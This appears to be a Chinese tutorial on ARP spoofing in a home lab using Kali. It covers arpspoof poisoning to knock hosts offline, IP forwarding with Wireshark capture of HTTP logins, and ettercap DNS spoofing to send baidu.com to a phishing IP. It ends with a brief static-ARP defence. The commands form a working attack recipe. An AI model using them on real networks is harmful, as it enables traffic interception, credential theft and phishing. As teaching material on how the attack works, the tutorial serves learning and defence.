文章目录
- ARP中间人
- ARP协议介绍
- 使用kali进行ARP毒化
- 使用kali进行ARP中间人
- 使用kali进行ARP钓鱼
- ARP攻击防御
- ARP总结
ARP中间人
ARP协议介绍
维基百科ARP介绍
ARP(地址解析协议)在网络通信中扮演着至关重要的角色,它通过将网络层地址(比如IPv4地址)映射到数据链路层地址
MAC地址来实现通信。ARP的基本功能是解析目标主机的IP地址以获取其对应的MAC地址,以便在局域网中正确地发送
数据包。当一台主机想要与另一台主机通信时,它需要知道目标主机的MAC地址,而ARP就是用来获取这个信息的协议。
ARP的工作过程大致如下:
1.主机A需要与主机B通信,但不知道主机B的MAC地址。
2.主机A向局域网中的所有主机发送一个ARP请求,请求中包含了它要通信的目标主机B的IP地址。
3.所有收到这个ARP请求的主机都会检查请求中的目标IP地址是否与自己的IP地址匹配,如果匹配,
则回复一个ARP响应,将自己的MAC地址发送给主机A。
4.主机A收到主机B的MAC地址后,就可以将数据包封装在以太网帧中,并将其发送到局域网中,以
太网帧中包含了目标主机B的MAC地址,确保数据包被正确地传送到目标主机B。
ARP协议利用方式
利用ARP协议的工作机制,欺骗目标主机,使其将数据发送到攻击者控制的主机上,而不是真正的目标主机,
可以进行ARP钓鱼与ARP毒化。
ARP窃取数据:
通过ARP广播欺骗目标主机以为攻击机为路由器,获取HTTP的泄露信息比如账号密码,以及改变请求网址内容实现钓鱼。
ARP毒化:
通过ARP广播欺骗大量主机,以为攻击机为路由器发起的请求经过攻击机,而攻击机丢弃了请求造成大量主机断网。
使用kali进行ARP毒化
简介:
ARP毒化是指对局域网内的机器实现ARP表路由更新为非路由MAC地址导致机器无法使用路由功能从而断网。
使用:
需要安装disniff工具安装命令:
apt-get update
apt-get install dsniff
使用命令
netstat -rn 查看路由
arpspoof -i eth0 -t 毒化IP 路由IP
毒化前arp表信息
毒化后arp表查看192.168.80.2的物理地址变化
现在查看kali的物理地址发现一直说明ARP攻击成功造成计算机断网。
使用kali进行ARP中间人
简介:
ARP中间人数据窃取是指将攻击目标ARP的路由表更新为攻击机的MAC地址,以为攻击机是路由器,攻击机开启路由
功能使其能够正常访问互联网,被攻击目标没有任何感知因为以为攻击机是路由器因此所有流量都会转发到攻击
机器上面只要开启抓包功能就可以窃取到攻击目标与网址通讯的流量,可以窃取如账号密码cookie等重要内容。
使用ARP中间人攻击需要确保访问的网站能够正常,所以要从断网变成正常的访问网址,因此实现类似于路由的功能。
使用:
使用kali开启路由
echo 1 > /proc/sys/net/ipv4/ip_forward
之前是0关闭路由功能限制开启,操作还是跟之前一样使用ARP攻击命令
arpspoof -i eth0 -t 毒化IP 路由IP
192.168.80.222 是劫持机器
192.168.80.2是路由
现在开始劫持了192.168.80.222的所有流量都会通过攻击机转发可以使用wireshark进行内容获取,如果是HTTP协议
将可能获取里面的账号密码造成数据泄露,也可以替换文件造成钓鱼攻击。
为了方便测试使用Python开启登录模块
from http.server import BaseHTTPRequestHandler, HTTPServer
import cgi
# 创建一个自定义的请求处理类
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
# 处理 GET 请求
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b'''
<html>
<body>
<form method="post">
<label for="username">Username:</label><br>
<input type="text" id="username" name="username"><br>
<label for="password">Password:</label><br>
<input type="password" id="password" name="password"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
''')
# 处理 POST 请求
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
form = cgi.parse_qs(post_data.decode('utf-8'))
username = form['username'][0]
password = form['password'][0]
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(f'<html><body>Username: {username}<br>Password: {password}</body></html>'.encode('utf-8'))
# 启动 HTTP 服务器
def run_server():
server_address = ('192.168.80.1', 8000)
httpd = HTTPServer(server_address, MyHTTPRequestHandler)
print('Server running...')
httpd.serve_forever()
if __name__ == '__main__':
run_server()
下面劫持机器进行登录
网卡的选择与ARP发包的网卡一致,为eth0
进行提交后可以看到成功捕获到了HTTP协议在数据包中成功找到账号123和密码pass666
使用kali进行ARP钓鱼
简介:
ARP钓鱼是指修改攻击目标对域名的解析,解析自己搭建的钓鱼IP上让被攻击者认为是在正常访问网站,
实际上访问的是由攻击者搭建的钓鱼网站,当目标输入账号密码等信息的时候钓鱼网站将记录这些内容。
命令:
利用ettercap工具进行ARP钓鱼使用kali启动ettercap已GUI的方式。
命令:ettercap -G
选择网卡为eth0
单机搜索查询局域网内所有机器显示结果如下:
现在咱们要进行ARP钓鱼劫持,首先选择要钓鱼的攻击右键选择IP192.168.80.222为Target1,192.168.80.12为路由为Target2.
选择完成后单击圆球选择ARP poisoning进行ARP攻击。
点击OK
现在查看被ARP攻击机器MAC地址是否改变,下面看到发生改变说明成功。
下面将进行DNS劫持将baidu.com修改为192.168.80.223的解析地址,这样当被攻击机器访问百度的时候实际上,
访问的是192.168.80.223实现劫持对页面内容进行任意修改实现钓鱼效果。
首先需要编辑Ettercap的配置文件内容如下:
vi /etc/ettercap/etter.dns
里面内容填写
baidu.com A 192.168.80.223
编辑完成后回到Ettercap选择单机Plugins。
继续单击Manage plugins
可以看到dns_spoof这个就是咱们需要的双击它会增加*说明成功
现在回到被攻击机ping baidu.com发现已经解析到192.168.80.223中,说明成功。
通过浏览器访问已经成功劫持。
ARP攻击防御
有攻击也就有防御,ARP攻击的本质是污染ARP表那么就有一种简单粗暴的方式来进行防御就是使用启用静态ARP条目
命令如下:
1.清除可疑的ARP缓存条目
arp -d *
2.启用静态ARP条目
arp -s <IP地址> <MAC地址>
例子:arp -s 192.168.1.1 00-11-22-33-44-55
ARP总结
从上述内容可以看到ARP攻击的危害非常大,然而在实际场景中使用往往不尽人意因为现在主流杀毒软件
已经对ARP攻击做了十足的防御只有在没有任何杀软的情况下才可以使用这种方式,因此除非在不得已的
情况下否则不会使用ARP欺骗。